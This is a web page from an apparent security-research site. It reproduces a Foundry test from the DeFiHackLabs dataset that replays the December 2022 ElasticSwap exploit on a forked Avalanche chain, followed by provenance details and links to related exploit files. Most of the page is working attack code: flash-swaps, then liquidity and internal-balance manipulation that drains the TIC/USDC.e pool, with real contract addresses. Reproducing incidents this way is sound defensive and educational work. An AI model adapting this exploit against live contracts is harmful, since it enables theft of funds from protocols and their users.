Public reproduction file
src/test/2022-12/ElasticSwap_exp.sol
Public reproduction file for dataset entry - ElasticSwap.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://quillaudits.medium.com/decoding-elastic-swaps-850k-exploit-quillaudits-9ceb7fcd8d1a9// @Tx10// https://etherscan.io/tx/0xb36486f032a450782d5d2fac118ea90a6d3b08cac3409d949c59b43bcd6dbb8f12interface ELPExchange is IERC20 {13 struct InternalBalances {14 // x*y=k - we track these internally to compare to actual balances of the ERC20's15 // in order to calculate the "decay" or the amount of balances that are not16 // participating in the pricing curve and adding additional liquidity to swap.17 uint256 baseTokenReserveQty; // x18 uint256 quoteTokenReserveQty; // y19 uint256 kLast; // as of the last add / rem liquidity event20 }22 function internalBalances() external view returns (InternalBalances memory);23 function addLiquidity(24 uint256 _baseTokenQtyDesired,25 uint256 _quoteTokenQtyDesired,26 uint256 _baseTokenQtyMin,27 uint256 _quoteTokenQtyMin,28 address _liquidityTokenRecipient,29 uint256 _expirationTimestamp30 ) external;31 function removeLiquidity(32 uint256 _liquidityTokenQty,33 uint256 _baseTokenQtyMin,34 uint256 _quoteTokenQtyMin,35 address _tokenRecipient,36 uint256 _expirationTimestamp37 ) external;38 function swapQuoteTokenForBaseToken(39 uint256 _quoteTokenQty,40 uint256 _minBaseTokenQty,41 uint256 _expirationTimestamp42 ) external;43}45contract ContractTest is Test {46 IERC20 TIC = IERC20(0x75739a693459f33B1FBcC02099eea3eBCF150cBe);47 IERC20 USDC_E = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);48 Uni_Pair_V2 SPair = Uni_Pair_V2(0x4CF9dC05c715812FeAD782DC98de0168029e05C8);49 Uni_Pair_V2 JPair = Uni_Pair_V2(0xA389f9430876455C36478DeEa9769B7Ca4E3DDB1);50 ELPExchange ELP = ELPExchange(0x4ae1Da57f2d6b2E9a23d07e264Aa2B3bBCaeD19A);52 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);54 function setUp() public {55 cheats.createSelectFork("avalanche", 23_563_709);56 }58 function testExploit() public {59 TIC.approve(address(ELP), type(uint256).max);60 USDC_E.approve(address(ELP), type(uint256).max);61 ELP.approve(address(ELP), type(uint256).max);62 SPair.swap(51_112 * 1e18, 0, address(this), new bytes(1));64 emit log_named_decimal_uint(65 "Attacker USDC.E balance after exploit", USDC_E.balanceOf(address(this)), USDC_E.decimals()66 );67 emit log_named_decimal_uint("Attacker TIC balance after exploit", TIC.balanceOf(address(this)), TIC.decimals());68 }70 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {71 JPair.swap(766_685 * 1e6, 0, address(this), new bytes(1));72 TIC.transfer(address(SPair), 51_624 * 1e18);73 }75 function joeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {76 uint256 TICAmount = TIC.balanceOf(address(ELP));77 uint256 USDC_EAmount = USDC_E.balanceOf(address(ELP));78 uint256 _expirationTimestamp = 1_000_000_000_000;79 ELP.addLiquidity(1e9, 0, 0, 0, address(this), _expirationTimestamp);80 ELP.addLiquidity(TICAmount, USDC_EAmount, 0, 0, address(this), _expirationTimestamp);81 USDC_E.transfer(address(ELP), USDC_E.balanceOf(address(ELP)));82 ELP.removeLiquidity(ELP.balanceOf(address(this)), 1, 1, address(this), _expirationTimestamp);83 // USDC.E swap to TIC84 ELPExchange.InternalBalances memory InternalBalance = ELP.internalBalances();85 uint256 USDC_EReserve = InternalBalance.quoteTokenReserveQty;86 ELP.swapQuoteTokenForBaseToken(USDC_EReserve * 100, 1, _expirationTimestamp);87 TICAmount = TIC.balanceOf(address(this));88 USDC_EAmount = USDC_E.balanceOf(address(this));89 // TIC swap to USDC.e90 ELP.addLiquidity(TICAmount, USDC_EAmount, 0, 0, address(this), _expirationTimestamp);91 ELP.removeLiquidity(ELP.balanceOf(address(this)), 1, 1, address(this), _expirationTimestamp);92 USDC_E.transfer(address(JPair), 774_353 * 1e6);93 }94}Analysis
Dataset entry
Public Foundry test for “- ElasticSwap” (2022-12-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-12/AES_exp.solSame month in the dataset · 69 lines
- src/test/2022-12/APC_exp.solSame month in the dataset · 68 lines
- src/test/2022-12/BBOX_exp.solSame month in the dataset · 70 lines
- src/test/2022-12/BGLD_exp.solSame month in the dataset · 113 lines
- src/test/2022-12/Defrost_exp.solSame month in the dataset · 62 lines
- src/test/2022-12/DFS_exp.solSame month in the dataset · 104 lines
- src/test/2022-12/FPR_exp.solSame month in the dataset · 74 lines
- src/test/2022-12/JAY_exp.solSame month in the dataset · 120 lines
- src/test/2022-12/Lodestar_exp.solSame month in the dataset · 263 lines
- src/test/2022-12/MEVbot_0x28d9_exp.solSame month in the dataset · 44 lines
- src/test/2022-12/MUMUG_exp.solSame month in the dataset · 80 lines
- src/test/2022-12/Nmbplatform_exp.solSame month in the dataset · 229 lines
- src/test/2022-12/NovaExchange_exp.solSame month in the dataset · 67 lines
- src/test/2022-12/Overnight_exp.solSame month in the dataset · 285 lines
- src/test/2022-12/RFB_exp.solSame month in the dataset · 77 lines
- src/test/2022-12/Rubic_exp.solSame month in the dataset · 137 lines
- src/test/2022-12/TIFI_exp.solSame month in the dataset · 67 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- ElasticSwap
- Path
- src/test/2022-12/ElasticSwap_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1f40fe828d5891e9d2e09c6b6cf4069eadc67169
- Language
- Solidity
- Size
- 95 lines
- Date
- 2022-12-13
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-12/ElasticSwap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1f40fe828d5891e9d2e09c6b6cf4069eadc67169, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.